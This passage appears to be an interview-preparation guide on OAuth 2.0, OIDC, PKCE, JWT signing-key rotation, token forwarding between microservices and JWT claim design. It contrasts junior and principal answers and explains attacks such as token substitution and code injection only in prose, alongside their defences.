access_tokenis opaque to the client and contains no audience (aud) binding to your client application and nononcereplay protection. If you accept anaccess_token(or call/userinfowith a raw token passed from a mobile client) as proof of login without verifyingaud == your_client_id, an attacker who operates a malicious game app (EvilApp) where the victim logged in with Google can take the victim's valid Googleaccess_tokenissued toEvilAppand replay it to your backend's login endpoint (Token Substitution / Confused Deputy Attack). You must use OpenID Connect (OIDC) (scope=openid) and verify the signedid_token, explicitly assertingiss,aud == your_client_id,nonce, andexp."
Trap 2: "Why do we need PKCE (code_verifier / code_challenge) if our web backend is a Confidential Client that already authenticates to /token with a client_secret over HTTPS?"โ
- Junior/Mid Answer: "PKCE is only needed for mobile apps and SPAs because they are public clients that cannot store a
client_secret. Confidential backend servers don't need PKCE." - Principal Rebuttal: "That was the 2015 mental model, but OAuth 2.1 and RFC 9700 mandate PKCE for confidential clients too because
client_secretdoes not protect against Authorization Code Injection. Consider an attacker who intercepts or steals an authorization code from a victim's browser redirect (via referrer leak, malware, or proxy log). The attacker initiates a login flow on their own browser to obtain a validstatecookie with your confidential backend, then swaps their own callback URL'scodeparameter with the victim's stolencode. Your backend attaches its genuineclient_secretand exchanges the victim's code at/token, logging the attacker into the victim's account! Only PKCE (or OIDCnoncebound to the user's session cookie) cryptographically binds theauthorization_codeto the specific browser session that initiated/authorize."
Trap 3: "We just rotated our JWT signing key on the Auth Server to mitigate a suspected leak, and immediately 40% of production API requests started failing with 401 Unauthorized. Why, and how do you design zero-downtime key rotation?"โ
- Junior/Mid Answer: "You just need to restart the microservices or clear their JWKS cache when you rotate the key."
- Principal Rebuttal: "An abrupt key replacement causes two distinct failure modes:
- In-Flight Token Failure: If you immediately delete the old public key (
kid_old) from/.well-known/jwks.json, every valid 15-minute access token minted 10 seconds before the rotation fails verification whenever a pod refreshes its JWKS cache. - Cold-Cache / Rate-Limit Failure: If you immediately start signing with
kid_newbefore pods have pre-fetched it, all 500 microservice pods simultaneously misskid_newin their local JWKS cache and stampede the IdP's/jwks.jsonendpoint.
- Normal Scheduled Rollover (3-Phase): Publish
kid_newin/jwks.jsonpassively for first switch signing tokid_newwhile retainingkid_oldin/jwks.jsonremovekid_oldafter expires. - Emergency Compromise Rollover: Remove
kid_compromisedimmediately, publishkid_newbehind CDN edge caching (Cache-Control: public, max-age=60, s-maxage=300), and force microservice JWKS caches to refresh with jitter while returning401so clients transparently execute their/refreshflow to acquire tokens signed bykid_new."
- In-Flight Token Failure: If you immediately delete the old public key (
Trap 4: "Can a microservice just forward the user's incoming Authorization: Bearer <jwt> header across 5 downstream internal microservices so they all know who the user is?"โ
- Junior/Mid Answer: "Yes, forwarding the JWT header via a Feign/WebClient interceptor is standard practice so downstream services can read
SecurityContextHolder." - Principal Rebuttal: "Blindly forwarding the same broad-audience JWT across an internal call graph creates a Lateral Movement / Confused Deputy vulnerability. If you set
aud: 'internal-cluster'so all 50 microservices accept the token, then a single RCE or SSRF in a low-privilege service (e.g.,AvatarResizeService) allows an attacker to harvest incoming user JWTs from memory and callPayoutServiceto drain funds. Instead, enforce Audience Scoping + OAuth 2.0 Token Exchange (RFC 8693) or mTLS Service Mesh Identity (SPIFFE/SPIRE): each downstream call either exchanges the token for a narrowaud+act(Actor) claim or pairs the user's JWT with a mutually authenticated SPIFFE X.509 workload certificate, andPayoutServiceenforces an authorization policy requiring both user scope ANDspiffe://prod/ns/checkout/sa/order-servicecaller identity."
Trap 5: "Our JWT payload is Base64-encoded, so is it safe to put the user's internal database integer ID, email, and permission matrix inside it?"โ
- Junior/Mid Answer: "Base64 is not encryption, so you shouldn't put passwords in it, but user IDs and permissions are fine."
- Principal Rebuttal: "There are three production hazards with stuffing rich claims into public JWS tokens:
- Reconnaissance & Privacy Leakage: Base64Url is trivially decoded by anyone. Exposing sequential integer IDs (
sub: 1042), internal role names (ROLE_SUPER_FRAUD_OVERRIDE), or PII (email,phone) in tokens stored on client devices violates GDPR data-minimization principles and aids attacker reconnaissance. - The 'Fat JWT' Header Bloat Problem: An enterprise user in 80 AD groups produces a JWT , which immediately triggers
HTTP 431 Request Header Fields Too Largeor502 Bad Gatewayon AWS ALB, Envoy, and Nginx. - Stale Authorization Window: Permissions baked into a JWT cannot be downgraded until
exp.
- The Fix: Use UUIDv7 / opaque
subidentifiers, keep claims minimal, or adopt the Phantom Token Pattern where external clients hold a 32-byte opaque reference token and the API Gateway swaps it for a rich internal JWS inside the private network."
- Reconnaissance & Privacy Leakage: Base64Url is trivially decoded by anyone. Exposing sequential integer IDs (
3. Mid-Level vs. Principal Candidate Cheat Sheet
| Concept / Scenario | Mid-Level Candidate Says | Principal Candidate Demonstrates |
|---|---|---|
| OAuth 2.0 vs. OIDC | "OAuth is for authorization and OIDC is for authentication." | "OAuth 2.1 issues scoped access_tokens (typ: at+jwt, aud: api_uri) for Resource Servers. OIDC adds the id_token (aud: client_id, nonce, at_hash) consumed strictly by the Client/BFF. Never send id_token as an API Bearer token." |
| Signing Algorithm Selection | "Use RS256 instead of HS256 so microservices only need the public key." | "Use asymmetric ES256 (ECDSA P-256) or EdDSA (Ed25519) over RS256 for faster signing and a smaller HTTP header footprint, with keys served via /.well-known/jwks.json and pinned in JWSVerificationKeySelector." |
| SPA Token Storage | "Store the JWT in HttpOnly cookies instead of localStorage to prevent XSS." | "Deploy a BFF (Backend-For-Frontend) Token Handler: the SPA holds only an __Host-session (HttpOnly; Secure; SameSite=Strict) cookie, while the BFF manages PKCE exchange, Refresh Token Rotation, and attaches Bearer/DPoP tokens server-side." |
state vs. PKCE vs. nonce | "They are random tokens used to secure the OAuth redirect." | "state prevents front-channel Login CSRF on /callback. PKCE (S256 SHA-256 hash) prevents authorization code interception and injection on /token. nonce binds the OIDC id_token to the client session to block token replay." |
| Stolen Access Token Defense | "Make the access token expire in 5โ15 minutes and use a Redis jti blocklist." | "Combine short TTLs + Phantom Tokens at the edge + Sender-Constrained Tokens (DPoP RFC 9449 cnf.jkt for public clients, mTLS RFC 8705 cnf.x5t#S256 for M2M workloads) so stolen tokens cannot be replayed without the private key." |
| JWKS Caching & Availability | "Microservices fetch the public key from the Auth Server's JWKS URL." | "Configure JWKSourceBuilder with multi-hour TTL caching, outage tolerance (outageTolerant), and refresh rate-limiting (rateLimited) so an attacker spoofing random kid headers cannot trigger a cache-bypass DDoS against the IdP." |
Related Security Guides
- Authentication & Authorization Overview โ The 7 core pillars of AuthN/AuthZ, MFA (TOTP, Passkeys/WebAuthn), RBAC, and ABAC.
- Cookies vs. Sessions vs. JWT โ Stateful vs. stateless session architectures and Spring Session Redis integration.
- JWT Multi-Device Session Management & Invalidation โ Single-device vs. global logout, Refresh Token Rotation family trees, and Redis
revoked_beforewatermarks. - Spring Security โ Complete Guide โ
SecurityFilterChain,AuthorizationFilter, and@PreAuthorizeinternals.
